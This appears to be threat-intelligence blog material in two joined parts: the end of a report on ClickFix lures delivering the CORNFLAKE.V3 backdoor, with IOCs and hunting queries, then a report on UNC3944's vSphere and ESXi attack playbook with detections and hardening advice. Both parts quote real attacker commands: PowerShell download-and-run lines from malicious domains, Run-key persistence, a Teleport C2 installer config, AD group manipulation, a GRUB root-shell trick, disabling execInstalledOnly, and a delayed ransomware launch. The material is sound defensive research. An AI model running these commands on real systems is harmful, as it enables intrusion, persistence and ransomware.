explorer.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-c irm dnsmicrosoftds-data[.]com/log/out | clip; & ([scriptblock]::Create((Get-Clipboard) -join (""+[System.Environment]::NewLine)))" ↳ C:\WINDOWS\system32\clip.exe ↳ C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe "-w H -c irm windows-msg-as[.]live/qwV1jxQ" ↳ C:\WINDOWS\system32\systeminfo.exe ↳ C:\Users\<user>\AppData\Roaming\php\php.exe "-d extension=zip -d extension_dir=ext C:\Users\<user>\AppData\Roaming\php\config.cfg 1 {CORNFLAKE.V3}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "powershell -c {Multiple PS Commands for Host Reconnaissance}" ↳ cmd.exe /s /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "random_appdata_dirname" /t REG_SZ /d "\"<php_binary_path>" \"<script_path>"" /f" ↳ powershell.exe ↳ C:\Windows\System32\rundll32.exe "{WINDYTWIST.SEA Backdoor}" start Conclusion

This investigation highlights the collaborative nature of modern cyber threats, where UNC5518 leverages compromised websites and deceptive ClickFix lures to gain initial access. This access is then utilized by other actors like UNC5774, who deploy versatile malware such as the CORNFLAKE.V3 backdoor. The subsequent reconnaissance and credential harvesting activities we observed indicate that the attackers intend to move laterally and expand their foothold in the environment.

To mitigate malware execution through ClickFix, organizations should disable the Windows Run dialog box where possible. Regular simulation exercises are crucial to counter this and other social engineering tactics. Furthermore, robust logging and monitoring systems are essential for detecting the execution of subsequent payloads, such as those associated with CORNFLAKE.V3.

Acknowledgements

Special thanks to Diana Ion, Yash Gupta, Rufus Brown, Mike Hunhoff, Genwei Jiang, Mon Liclican, Preston Lewis, Steve Sedotto, Elvis Miezitis and Rommel Joven for their valuable contributions to this blog post.

Detection Through Google Security Operations

For detailed guidance on hunting for this activity using the following queries, and for a forum to engage with our security experts, please visit our companion post on the Google Cloud Community blog.

Mandiant has made the relevant rules available in the Google SecOps Mandiant Frontline Threats curated detections rule set. The activity discussed in the blog post is detected in Google SecOps under the rule names:

• Powershell Executing NodeJS

• Powershell Writing To Appdata

• Suspicious Clipboard Interaction

• NodeJS Reverse Shell Execution

• Download to the Windows Public User Directory via PowerShell

• Run Utility Spawning Suspicious Process

• WSH Startup Folder LNK Creation

• Trycloudflare Tunnel Network Connections

SecOps Hunting Queries

The following UDM queries can be used to identify potential compromises within your environment.

Execution of CORNFLAKE.V3 — Node.js 

Search for potential compromise activity where PowerShell is used to launch node.exe from %AppData% path with the -e argument, indicating direct execution of a malicious JavaScript string.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*node\.exe/ nocase target.process.command_line = /"?node\.exe"?\s*-e\s*"/ nocase Execution of CORNFLAKE.V3 — PHP

Search for compromise activity where PowerShell is executing php.exe from %AppData% path. This variant is characterized by the use of the -d argument, executing a PHP script without a .php file extension, and passing the argument 1 to the PHP interpreter, indicating covert execution of malicious PHP code.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /powershell\.exe/ nocase target.process.file.full_path = /appdata\\roaming\\.*php\.exe/ nocase target.process.command_line = /"?php\.exe"?\s*-d\s.*1$/ nocase target.process.command_line != /\.php\s*\s*/ nocase CORNFLAKE.V3 Child Process Spawns

Search suspicious process activity where cmd.exe or powershell.exe are spawned as child processes from node.exe or php.exe when those executables are located in %AppData%.

metadata.event_type = "PROCESS_LAUNCH" principal.process.file.full_path = /appdata\\roaming\\.*node\.exe|appdata\\roaming\\.*php\.exe/ nocase target.process.file.full_path = /powershell\.exe|cmd\.exe/ nocase Suspicious Connections to Node.js/PHP Domains

Search unusual network connections initiated by powershell.exe or mshta.exe to legitimate Node.js (nodejs.org) or PHP (windows.php.net) infrastructure domains.

metadata.event_type = "NETWORK_CONNECTION" principal.process.file.full_path = /powershell\.exe|mshta\.exe/ nocase target.hostname = /nodejs\.org|windows\.php\.net/ nocase Indicators of Compromise (IOCs)

A Google Threat Intelligence (GTI) collection of IOCs is available to registered users.

Host-Based Artifacts

Artifact

Description

SHA-256 Hash

C:\Users\<User>\AppData\Roaming\node-v22.11.0-win-x64\ckw8ua56.log

Copy of the CORNFLAKE.V3 (Node.js) sample used for persistence

000b24076cae8dbb00b46bb59188a0da5a940e325eaac7d86854006ec071ac5b

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ChromeUpdater

Registry run key that executes the CORNFLAKE.V3 (Node.js) sample

N/A

C:\Users\<User>\AppData\Roaming\php\config.cfg

CORNFLAKE.V3 (PHP) sample

a2d4e8c3094c959e144f46b16b40ed29cc4636b88616615b69979f0a44f9a2d1

HKCU\Software\Microsoft\Windows\CurrentVersion\Run\iCube

Registry run key that executes the CORNFLAKE.V3 (PHP) sample

N/A

C:\Users\<User>\AppData\Roaming\Shift194340\78G0ZrQi.png

WINDYTWIST.SEA backdoor sample dropped by CORNFLAKE.V3 (PHP)

14f9fbbf7e82888bdc9c314872bf0509835a464d1f03cd8e1a629d0c4d268b0c

Network-Based Artifacts

IP Address

Description

138.199.161[.]141

IP address associated with UNC5518 used to distribute CORNFLAKE.V3 (Node.js) malware

159.69.3[.]151

CORNFLAKE.V3 (Node.js) C2 server associated with UNC5774

varying-rentals-calgary-predict.trycloudflare[.]com

CORNFLAKE.V3 (PHP) C2 server associated with UNC5774

dnsmicrosoftds-data[.]com

windows-msg-as[.]live

Domains associated with UNC5518 used to distribute CORNFLAKE.V3 (PHP) malware

167.235.235[.]151

128.140.120[.]188

177.136.225[.]135

WINDYTWIST.SEA backdoor C2 server addresses associated with UNC5774

Introduction

In mid 2025, Google Threat Intelligence Group (GTIG) identified a sophisticated and aggressive cyber campaign targeting multiple industries, including retail, airline, and insurance. This was the work of UNC3944, a financially motivated threat group that has exhibited overlaps with public reporting of "0ktapus," "Octo Tempest," and "Scattered Spider." Following public alerts from the Federal Bureau of Investigation (FBI), the group's targeting became clear. GTIG observed that the group was suspected of turning its ransomware and extortion operations to the U.S. retail sector. The campaign soon broadened further, with airline and transportation organizations in North America having also become targets.

The group's core tactics have remained consistent and do not rely on software exploits. Instead, they use a proven playbook centered on phone calls to an IT help desk. The actors are aggressive, creative, and particularly skilled at using social engineering to bypass even mature security programs. Their attacks are not opportunistic but are precise, campaign-driven operations aimed at an organization's most critical systems and data.

Their strategy is rooted in a "living-off-the-land" (LoTL) approach. After using social engineering to compromise one or more user accounts, they manipulate trusted administrative systems and use their control of Active Directory as a launchpad to pivot to the VMware vSphere environment, thus providing an avenue to exfiltrate data and deploy ransomware directly from the hypervisor. This method is highly effective as it generates few traditional indicators of compromise (IoCs) and bypasses security tools like endpoint detection and response (EDR), which often have limited or no visibility into the ESXi hypervisor and vCenter Server Appliance (VCSA).

This blog post provides a deep dive into the anatomy of UNC3944's vSphere-centric attacks and outlines a fortified, multi-pillar defense strategy required for mitigation. Learn more about the risks associated with integrating VMware vSphere with Microsoft Active Directory. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Logging Fundamentals 

Before discussing key detection signals and hardening strategies related to UNC3944’s vSphere-related operations, it's important to understand vSphere logging and the distinction between vCenter Events and ESXi host logs. When forwarded to a central syslog server, vCenter Server events and ESXi host logs represent two distinct yet complementary sources of data. Their fundamental difference lies in their scope, origin, and the structured, event-driven nature of vCenter logs versus the verbose, file-based output of ESXi.

1. vCenter Server (VC Events)

vCenter events operate at the management plane, providing a structured audit trail of administrative actions and automated processes across the entire virtual environment. Each event is a discrete, well-defined object identified by a unique eventTypeId, such as VmPoweredOnEvent or UserLoginSessionEvent. This programmatic identification makes them ideal for ingestion into Security Information and Event Management (SIEM) platforms like Splunk or Google Chronicle for automated parsing, alerting, and security analysis.

Figure 1: VC Event log structure

• Native storage & syslog forwarding: These events are generated by vCenter Server and stored within its internal VCSA database (PostgreSQL). When forwarded, vCenter streams a real-time copy of these structured events to the syslog server. The resulting log message typically contains the formal eventTypeId along with its human-readable description, allowing for precise analysis.

• Primary use cases:

• Security auditing & forensics: Tracking user actions, permission changes, and authentication

• Change management: Providing a definitive record of all configuration changes to clusters, hosts, and virtual machines (VMs)

• Automated alerting: Triggering alerts in a SIEM or monitoring tool based on specific eventTypeIds (e.g., HostCnxFailedEvent)

• Examples of vCenter Events: As documented in resources like the vCenter Event Mapping repository, each event has a specific programmatic identifier.

• UserLoginSessionEvent

• Description: "User {userName}@{ipAddress} logged in as {locale}"

• Significance: A critical security event for tracking all user access to the vCenter management plane

• VmCreatedEvent

• Description: "Created virtual machine {vm.name} on {host.name} in {datacenter.name}"

• Significance: Logs the creation of new inventory objects, essential for asset management and change control

• VmPoweredOffEvent

• Description: "Virtual machine {vm.name} on {host.name} in {datacenter.name} is powered off"

• Significance: Tracks the operational state and availability of workloads. An unexpected power-off event is a key indicator for troubleshooting.

Note on VCSA Logging Limitations: The VCSA does not, out-of-the-box, support forwarding critical security logs for denied network connections or shell command activity. To enable this non-default capability, a custom configuration at the native Photon OS level is required. This is an agentless approach that leverages only built-in Linux tools (like iptables and logger) and does not install any third-party software. This configuration pipes firewall and shell events into the VCSA's standard rsyslog service, allowing the built-in remote logging mechanism to forward them to a central SIEM.

2. ESXi Host Logs 

ESXi logs operate at the hypervisor level, providing granular, host-specific operational data. They contain detailed diagnostic information about the kernel, hardware, storage, networking, and services running directly on the ESXi host.

• Native storage: These logs are enabled by default and stored as a collection of plain text files on the ESXi host itself, primarily within the /var/log/ directory. This storage is often a local disk or a persistent scratch partition. If a persistent location is not configured, these logs are ephemeral and will be lost upon reboot, making syslog forwarding essential for forensics.

Figure 2: ESXi standard log structure

• Primary use cases:
  • Deep-dive troubleshooting of performance issues
  • Diagnosing hardware failures or driver issues
  • Analyzing storage and network connectivity problems
• Examples of ESXi log entries sent to syslog:
  • (from vmkernel.log): Detailed logs about storage device latency
  • (from hostd.log): Logs from the host agent, including API calls, VM state changes initiated on the host, and host service activity
  • (from auth.log): Records of successful or failed login attempts directly to the host via SSH or the DCUI

3. ESXi Host Audit Logs

ESXi audit records provide a high-fidelity, security-focused log of actions performed directly on an ESXi host. The following analysis of the provided example demonstrates why this log source is forensically superior to standard logs for security investigations. These logs are not enabled by default.

• Native storage & persistence: These records are written to audit.*.log on the host's local filesystem, governed by the Syslog.global.auditRecord.storageEnable = TRUE parameter. Persistent storage configuration is critical to ensure this audit trail survives a reboot.

Figure 3: ESXi audit log structure

• Forensic analysis: standard vs. audit log: In the provided scenario, a threat actor logs into an ESXi host, attempts to run malware, and disables the execInstalledOnly security setting. Here is how each log type captures this event:

• Standard syslog shell.log analysis: The standard log provides a simple, chronological history of commands typed into the shell.

Figure 4: ESXi standard log output

• • Limitations:
    • No login context: It does not show the threat actors source IP address or that the initial SSH login was successful.
    • No outcome: It shows the command ./malware was typed but provides no information on whether it succeeded or failed.
    • Incomplete narrative: It is merely a command history, lacking the essential context needed for a full security investigation.
• ESXi audit log analysis: The ESXi audit log provides a rich, structured, and verifiable record of the entire session, from connection to termination, including the outcome of each command.

Figure 5: ESXi audit log output

• • Successful login: It explicitly records the successful authentication, including the source IP.
  • Failed malware execution: This is the most critical distinction. The audit log shows that the malware execution failed with an exit status of 126.
  • Successful security disablement: It then confirms that the command to disable a key security feature was successful.

This side-by-side comparison proves that while standard ESXi logs show a threat actor's intent, the ESXi audit log reveals the actual outcome, providing actionable intelligence and a definitive forensic trail. A comprehensive logging strategy for a vSphere environment requires the collection and analysis of three distinct yet complementary data sources. When forwarded to a central syslog server, vCenter Server events, ESXi host audit records, and standard ESXi operational logs provide a multilayered view of the environment's security, administrative changes, and operational health.

Characteristic

vCenter Server Events

ESXi Audit Logs

ESXi Standard Logs

Scope

Virtual Center, ESXI

ESXi

ESXi

Enabled by Default

Yes

No

Yes

Format

Structured Objects (eventTypeId)

Verbose, Structured Audit Entries

Unstructured/Semi-structured Text

Type

Administrative, Management, Audit

Security Audit, Kernel-level Actions

Management, System-Level State

Primary Storage

VCSA Internal Database

Local Filesystem (audit.log)

Local Filesystem (/var/log/)

Primary Use Case

Central Auditing, Full Cluster Management, Forensics 

Direct Host Forensics, Compliance

Deep Troubleshooting, Diagnostics

Table 1: Comparison of ESXi Logs and vCenter Events

Anatomy of an Attack: The Playbook

UNC3944’s attack unfolds across five distinct phases, moving methodically from a low-level foothold to complete hypervisor control.

Figure 6: Typical UNC3944 attack chain

Phase 1: Initial Compromise, Recon, and Escalation

This initial phase hinges on exploiting the human element.

• The tactic: The threat actor initiates contact by calling the IT help desk, impersonating a regular employee. Using readily available personal information from previous data breaches and employing persuasive or intimidating social engineering techniques, they build rapport and convince an agent to reset the employee's Active Directory password. Once they have this initial foothold, they begin a two-pronged internal reconnaissance mission:
  • Path A (information stores): They use their new access to scan internal SharePoint sites, network drives, and wikis. They hunt for IT documentation, support guides, org charts, and project plans that reveal high-value targets. This includes not only the names of individual Domain or vSphere administrators, but also the discovery of powerful, clearly named Active Directory security groups like "vSphere Admins" or "ESX Admins" that grant administrative rights over the virtual environment.
  • Path B (secrets stores): Simultaneously, they scan for access to password managers like HashiCorp Vault or other Privileged Access Management (PAM) solutions. If they find one with weak access controls, they will attempt to enumerate it for credentials.

Armed with the name of a specific, high-value administrator, they make additional calls to the help desk. This time, they impersonate the privileged user and request a password reset, allowing them to seize control of a privileged account.

• Why it's effective: This two-step process bypasses the need for technical hacking like Kerberoasting for the initial escalation. The core vulnerability is a help desk process that lacks robust, non-transferable identity verification for password resets. The threat actor is more confident and informed on the second call, making their impersonation much more likely to succeed.

• Key detection signals:

  • [LOGS] Monitor for command-line and process execution: Implement robust command-line logging (e.g., via Audit Process Creation, Sysmon Event ID 1 or EDR). Create alerts for suspicious remote process execution, such as wsmprovhost.exe (WinRM) launching native tools like net.exe to query or modify sensitive groups (e.g., net group "ESX Admins" /add).

  • [LOGS] Monitor for group membership changes: Create high-priority alerts for AD Event ID 4728 (A member was added to a security-enabled global group) or 4732 (local group) for any changes to groups named "vSphere Admins," "ESX Admins," or similar.

  • [LOGS] Correlate AD password resets with help desk activity: Correlate AD Event ID 4724 (Password Reset) and the subsequent addition of a new multi-factor authentication (MFA) device with help desk ticket logs and call records.

  • [BEHAVIOR] Alert on anomalous file access: Alert on a single user accessing an unusually high volume of disparate files or SharePoint sites, which is a strong indicator of the reconnaissance seen during UNC3944 activity.

  • [CRITICAL BEHAVIOR] Monitor Tier 0 account activity: Any password reset on a Tier 0 account (Domain Admin, Enterprise Admin, vSphere) must be treated as a critical incident until proven otherwise.

• Critical hardening and mitigation:

  • [CRITICAL] Prohibit phone-based resets for privileged accounts: For all Tier 0 accounts, enforce a strict "no password resets over the phone" policy. These actions must require an in-person, multipart, or high-assurance identity verification process.

  • Protect and monitor privileged AD groups: Treat these groups as Tier 0 assets: tightly control who can modify their membership and implement the high-fidelity alerting for any membership change (AD Event ID 4728/4732). This is critical as threat actors will use native tools like net.exe, often via remote protocols like WinRM, to perform this manipulation. Avoid using obvious, non-obfuscated names like "vSphere Admins" for security groups that grant high-level privileges

  • Harden information stores: Implement data loss prevention (DLP) and data classification to identify and lock down sensitive IT documentation that could reveal high-value targets. Treat secrets vaults as Tier 0 assets with strict, least-privilege access policies.

  • Restrict or monitor remote management tools: Limit the use of remote management protocols like WinRM and vSphere management APIs to authorized administrative subnets and dedicated PAWs. Log all remote commands for review and anomaly detection.

Table 2 displays threat actors actions in support of Active Directory escalation along with process and command-line data that an organization may use to detect this activity.

Process Name

Command Line

Tactic

Threat Actor's Goal

explorer.EXE

"C:\Program Files...\WORDPAD.EXE" "\10.100.20.55\c$\Users\j.doe...\ACME Power Division\Documents\Procedure for Deploying ESXi...docx"

Reconnaissance

Threat actor, using a compromised user account, opens IT procedure documents to understand the vSphere environment and find target names.

explorer.EXE

"C:...\NOTEPAD.EXE" \prd-mgmt-srv02.acme-corp.local\c$\Users\adm-svc-vcenter\Desktop\ESX HOST CLUSTER ISSUE.txt

Reconnaissance

Threat actor continues recon, opening files on a management server that likely contain names of systems, groups, or administrators.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Enumeration

Having found the group name, the threat actors use WinRM to remotely query the membership of the "ESX Admins" group to identify targets.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins" ACME-CORP\temp-adm-bkdr /add

Manipulation

This is the key attack. The threat actor adds their controlled account (temp-adm-bkdr) to the "ESX Admins" group, granting it full admin rights to vSphere.

wsmprovhost.exe

"C:...\net.exe" group "ESX Admins"

Verification

The threat actor queries the group again immediately after the modification to confirm that their malicious user was successfully added.

Table 2: Active Directory user escalation

Phase 2: The Pivot to vCenter — The Control Plane Compromise 

With mapped Active Directory to vSphere credentials, the threat actors turn their sights on the heart of the virtual environment.

• The tactic: They use the compromised credentials to log into the vSphere vCenter Server GUI. From there, they leverage their vCenter Admin rights to gain what amounts to "virtual physical access" to the VCSA itself. They open a remote console, reboot the appliance, and edit the GRUB bootloader to start with a root shell (init=/bin/bash), giving them passwordless root access. They then change the root password to enable SSH access upon reboot. To maintain their foothold, they upload and execute teleport, a legitimate open source remote access tool, to create a persistent and encrypted reverse shell (C2 channel) that bypasses most firewall egress rules.
• Why it's effective: vCenter’s delegation of trust in Active Directory often via LDAP(S) means the initial login isn't protected by MFA. The VCSA takeover abuses a fundamental privilege of a virtual environment administrator—the ability to interact with a VM's console pre-boot.
• Key detection signals:
  • [LOGS] Monitor vCenter events for logins (com.vSphere.vc.UserLoginSessionLoginSuccessEvent) (com.vSphere.vc.UserLoginSessionLoginFailureEvent) and reboot (com.vSphere.vc.appliance.ApplianceRebootEvent).
  • [LOGS] Monitor for log entries with prefixes like "SSH" in remote VCSA syslog to detect dropped SSH attempts or other blocked traffic via iptables.
  • [LOGS] On the VCSA, monitor journald and implement VCSA remote forwarding of logs to a SIEM to detect unauthorized shell access and the enablement of the SSH and Shell service.

Figure 7: Remote syslog events for enablement of VCSA SSH service

• • [NETWORK] Use Network Flow Logs to spot anomalous outbound connections from the VCSA's IP address.
  • [NETWORK] Unusual DNS Requests from vCenter - This detection identifies when a vSphere vCenter server makes DNS requests for domains that are not on the explicit allow list of known, trusted sites (e.g., vSphere.com, ntp.org, or internal domains).
  • [LOGS] Use of cURL or Wget to download tools: This detection can identify the use of command-line utilities like cURL or Wget on a critical server (such as a vCenter, Domain Controller, or database server) to download a file from an external URL.
• Critical hardening and mitigation:
  • [CRITICAL] Enable the VCSA remote logging: Implement remote syslog forwarding on the VCSA appliance. 
  • [CRITICAL] Enforce phishing-resistant MFA on vCenter: Implement a phishing-resistant MFA solution, such as FIDO2/WebAuthn, for all vCenter logins by federating authentication with a supported identity provider. This is a critical control that directly neutralizes the threat of credential theft, rendering phishing attacks against vCenter users ineffective.
  • [CRITICAL] Enforce least privilege in vCenter: Strictly limit the use of the Administrator role, reserving it for dedicated "break glass" accounts only such as [email protected]. Instead, create granular, custom roles for specific job functions to ensure users and groups only have the minimum permissions necessary, breaking the link between a compromised AD account and a full vCenter takeover.
  • [CRITICAL] Use the VCSA firewall and block shell access: Block all unnecessary outbound internet traffic from the VCSA using egress filtering and its built-in firewall. Disable the SSH and BASH shells by default. This thwarts the teleport backdoor and makes the VCSA takeover significantly more difficult.
  • [CRITICAL] Configure the VCSA's underlying iptables firewall: Enforce a Zero Trust allow-list for all management interfaces (443, 5480, 22) and enable logging for all denied connections. The default VCSA GUI firewall can be disabled by an attacker with a compromised web session and, crucially, it does not log blocked connection attempts. By configuring iptables at the OS level, the rules become immune to GUI tampering, and every denied connection is logged and forwarded to your SIEM.

Table 3 displays threat actor actions in support of Teleport Installation along with key evidence that an organization may use to detect this activity.

Tactic

Key Evidence 

Threat Actor's Goal

Execute Script & Assert Privileges

sudo: root : ... COMMAND=/usr/bin/bash -c '#!/bin/bash...'

assert_running_as_root()

The threat actor executes the installer via sudo. The script's first action is to confirm it has the root permissions required for system-wide installation.

Define Installation Parameters

SCRIPT_NAME="teleport-installer"

TELEPORT_BINARY_DIR="/usr/local/bin"

TELEPORT_CONFIG_PATH="/etc/teleport.yaml"

The script defines its core parameters, including where the backdoor's binaries and configuration files will be placed on the compromised VCSA's filesystem.

Hardcode C2 & Authentication Details

TARGET_HOSTNAME='c2.attacker.net'

JOIN_TOKEN='[REDACTED_JOIN_TOKEN]'

CA_PIN_HASHES='sha256:[REDACTED_CA_PIN_HASH]

The threat actor embeds the unique, pre-generated credentials required for the agent to connect and authenticate to their external command-and-control (C2) server

Detect OS & Select Package Type

if [[ ${f} != "tarball"
&& ${f} != "deb" ...

The script contains logic to detect the underlying operating system (e.g., Debian, RHEL, or a generic Linux like the VCSA) to ensure it uses the correct installation package (.deb, .rpm, or .tar.gz).

Download & Install Binaries

Script logic proceeds to download the 'tarball' package and unpacks binaries to /usr/local/bin

Based on the OS detection, the script would then download the appropriate Teleport package from an threat actor-controlled source and install the binaries (teleport, tsh, tctl) into the predefined directory.

Establish Persistence

SYSTEMD_UNIT_PATH="/lib/systemd/
system/teleport.service"

[Implied Action] Script creates and enables a systemd unit file

To ensure the backdoor survives reboots, the script creates a systemd service file using the defined path. It then enables and starts the teleport service, which initiates the final, persistent connection to the C2 server.

Table 3: VCSA Teleport installation

Phase 3: The Hypervisor Heist — Offline Credential Theft and Exfiltration

This is where the threat actor leverages their vSphere control to operate beneath the notice of in-guest security and EDR.

• The tactic: From vCenter, the threat actor enables SSH on the ESXi hosts and reset their root passwords. They then execute an offline attack by identifying a Domain Controller VM, powering it off, and detaching its virtual disk (.vmdk). This disk is then attached as a secondary drive to a forgotten or "orphaned" VM they control. From this unmonitored machine, they copy the NTDS.dit Active Directory database. The process is then reversed, and the DC is powered back on as if nothing happened. The stolen data is then moved in a two-stage process: first, an internal transfer from the orphaned VM to the compromised VCSA using sftp, and second, an external exfiltration from the VCSA through the already-established teleport C2 channel to a threat actor controlled cloud service.
• Why it's effective: This entire operation occurs at the hypervisor layer, making it invisible to any EDR or security agent running inside the Domain Controller's operating system. The use of the VCSA as a data funnel bypasses any network segmentation rules.

Table 4 displays threat actor actions in support of VM data exfiltration along with key evidence that an organization may use to detect this activity.

Tactic

Evidence Source

Key Evidence

Threat Actor's Goal

Identify Target VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - ACME-DC01 - Datastores

The threat actor, logged in as a compromised user , browses the vSphere UI to locate the virtual machine for the target Domain Controller (ACME-DC01).

Identify Staging VM

Browser History

URL: https://vcsa-prod-01.acme.local/ui/...

Page Title: vSphere - OLD-APPSRV-01 - Networks

The threat actor identifies a seemingly abandoned server (OLD-APPSRV-01) to use as their staging VM, onto which they will mount the DC's disk.

Execute Disk Swap

vCenter Event Log

Event: [vim.event.VmReconfiguredEvent]

User: ACME\threat.actor

Action: Reconfigured OLD-APPSRV-01 on esxi-prod-02.acme.local

The threat actor triggers a VM reconfiguration on the staging VM. This is the start of the disk attachment process.

Confirm Disk Attachment

vCenter Event Log

Device Change: ...backing = (fileName = 'ds:///vmfs/volumes/.../ACME-DC01/ACME-DC01_4.vmdk' ...)

The log shows a disk device being modified on the staging VM. The source file path clearly shows that the virtual disk (.vmdk) belonging to the Domain Controller (ACME-DC01) is being attached.

Confirm Host Execution

ESXi Host Log (hostd.log)

Task: VpxaTask: VpxaReconfigVM /vmfs/volumes/.../OLD-APPSRV-01/OLD-APPSRV-01.vmx

Simultaneously, the ESXi host logs the ReconfigVM_Task being executed against the staging VM, confirming the action was carried out at the hypervisor level.

Table 4: Virtual machine data exfiltration

• Key detection signals:
  • [BEHAVIOR] Monitor for reconnaissance in the vSphere UI: Before the attack, the threat actor browses the vSphere client to identify their target (e.g., a VM named ACME-DC01) and their staging VM (OLD-APPSRV-01). If UI access logs or browser histories from admin workstations are available, correlating suspicious browsing patterns with a subsequent reconfiguration event can provide very early warning.
  • [LOGS] Scrutinize: As shown in this anonymised real-world example, a vim.event.VmReconfiguredEvent for the staging VM (e.g., OLD-APPSRV-01) will contain the file path of the target VM's disk in its configuration details (e.g., backing = (fileName = '.../ACME-DC01/ACME-DC01_4.vmdk' ...)). Create high-priority alerts that parse this event data to detect when a disk from a critical asset is attached to any non-standard machine.
  • [LOGS] Correlate the full event sequence: A high-fidelity alert can be built by correlating the full sequence of vCenter events on a critical asset: VmPoweredOffEvent, followed by the VmReconfiguredEvent previously detailed, and eventually a VmPoweredOnEvent combined with a restart initiated by vmtoolsd.exe, along with supporting Windows guest events like 6006 (shutdown) and 6005 (startup).
  • [BEHAVIOR] Create CRITICAL alerts for any power-on or reconfiguration event on VMs located in a "Decommissioned" or "Orphaned" folder as these are prime candidates for the threat actors staging VM.
  • [LOGS] Monitor ESXi host changes: Alert on SSH service start via vCenter events (vim.event.HostServiceStartedEvent), firewall configuration changes (vim.event.HostFirewallInfoChangedEvent), and direct root shell access logs on the ESXi hosts themselves.
• Critical hardening and mitigation:
  • [CRITICAL] Use vSphere VM encryption: Encrypt all Tier 0 virtualized assets. This is the definitive technical block for the offline "Disk Swap" attack as the stolen .vmdk file would be unreadable.
  • [CRITICAL] Implement a strict VM decommissioning process: Formally decommission old VMs by deleting their disks. Do not leave powered-off, "orphaned" VMs on your datastores as these are the ideal workbenches for threat actors.
  • [CRITICAL] Harden ESXi accounts: Disable the default ESXi root account in favor of a named "break glass" account with a highly complex password. On ESXi 8.0+, run esxcli system account set -i vpxuser -s false to prevent a compromised vCenter user from changing ESXi root passwords.
  • [CRITICAL] Enable ESXi remote audit logging: Enable remote ESXi audit logging (vpxa.log, hostd.log, audit_records) to a SIEM to provide verbose, centralized details of security-focused events on the hosts themselves.

Figure 8: Remote syslog events for SSH access to ESXi

Phase 4: Backup Sabotage — Removing the Safety Net

Before deploying ransomware, the actor ensures their target cannot recover.

• The tactic: Leveraging their full control over Active Directory, the threat actor targets the backup infrastructure (e.g., a virtualized backup server). They either reuse the compromised Domain Admin credentials to log in via RDP or, more stealthily, add a user they control to the "Veeam Administrators" security group in AD. Once in, they delete all backup jobs, snapshots, and repositories.
• Why it's effective: This works due to a lack of administrative tiering (where the same powerful accounts manage both virtualization and backups) and insufficient monitoring of changes to critical AD security groups.
• Key detection signals:
  • [Detecting Path A] Monitor for interactive logons (Windows Event ID 4624) on the backup server by high-privilege accounts.
  • [Detecting Path B] Triggers a CRITICAL alert from AD logs for Event ID 4728 ("A member was added to a security-enabled global group") for any change to the "Veeam Administrators" group
  • [LOGS] Monitor the backup application's own audit logs for mass deletion events.
• Critical hardening and mitigation:
  • [CRITICAL] Isolate backup infrastructure: The Veeam server and its repositories must be in a separate MFA protected, highly restricted security domain or use dedicated, non-AD-joined credentials. This severs the AD trust relationship the threat actor exploits.
  • [CRITICAL] Utilize immutable repositories: This is the technical backstop against backup deletion. It makes the backup data undeletable for a set period, even if a threat actor gains full administrative access to the backup console.

Phase 5: Encryption — Ransomware from the Hypervisor

With the target blinded and their safety net gone, the final stage commences.

• The tactic: The threat actor uses their SSH access to the ESXi hosts to push their custom ransomware binary via SCP/SFTP into a writable directory like /tmp. They then execute a script that uses the native ESXi command-line tool, vim-cmd, to forcibly power off every VM on the host. Finally, they launch the ransomware binary (often with nohup to ensure it continues after they log out), which scans the datastores and encrypts all VM files (.vmdk, .vmx, etc.).

Table 5 displays threat actor actions in support of ESXi ransomware execution along with key evidence that an organization may use to detect this activity.

Tactic

Source Log File

Key Evidence 

Threat Actor's Goal

SSH Login

/var/log/auth.log

SSH session was opened for '[email protected]'

The Threat Actor logs in as root to the compromised ESXi host via an interactive SSH session.

Prepare Payload

/var/log/shell.log

chmod 0777 encrypt.out

cp encrypt.out encrypt_.out

The Threat Actor’s commands to make the ransomware payload executable are captured by the ESXi shell log.

Create Exclusion List

/var/log/shell.log

echo VCSA-01-PROD >> list.txt

echo DC-01-PASSIVE >> list.txt

The shell log records the creation of the list.txt file, revealing the threat actors intent to selectively encrypt systems.

Execute Ransomware

/var/log/shell.log

nohup sh -c 'sleep 14400 && /encrypt_.out -pass [REDACTED_ENCRYPTION_KEY] -skip_vms /list.txt' &

The exact command to launch the time-delayed ransomware, including the key and exclusion list, is logged. The nohup command ensures it runs after they log out.

Clean Up & Exit

/var/log/shell.log

ls nohup.out

exit

The threat actors final commands and session termination are recorded before they exit, leaving the payload to run.

Table 5: ESXi ransomware execution

• Why it's effective: Root access on the ESXi shell is the highest level privilege in a virtual environment. By encrypting at the hypervisor level, they bypass all in-guest security and compromise servers with a single action.
• Key detection signals:
  • [NETWORK] Monitor Network Flow Logs for large file transfers to and from ESXi hosts over SSH/SCP.
  • [BEHAVIOR] A SIEM alert for a high volume of VM power-off commands originating from a single ESXi host is a high-fidelity indicator of an ongoing attack.
  • [LOGS] Monitor ESXi host logs for the execution of esxcli system settings kernel set -s execInstalledOnly -v FALSE (a threat actor attempting to disable a key defense) and mass vmsvc/power.off commands. Since this setting only applies after a reboot, correlate this alert with a subsequent host reboot within a short time window.
• Critical hardening and mitigation:
  • [CRITICAL] Enable vSphere lockdown mode: This is a primary prevention for this phase as it blocks the interactive SSH access needed to push and execute the payload.
  • [CRITICAL] Enforce execInstalledOnly execution policy: This ESXi kernel setting is the definitive technical prevention. It blocks any unsigned binary from running, rendering the threat actor's custom ransomware execution attempt to failure. Enable the hardware based TPM 2.0 chip with Secure Boot to lock this setting so it cannot be disabled.

The Three-Pillar Defense: A Fortified Strategy Pillar 1: Proactive Hardening (Your Most Reliable Defense)

• Architect for centralized access: Do not join ESXi hosts directly to Active Directory. Manage all host access exclusively through vCenter roles and permissions. This drastically reduces the attack surface.
• Enable vSphere lockdown mode: This is a critical control that restricts ESXi management, blocking direct shell access via SSH and preventing changes from being made outside of vCenter.
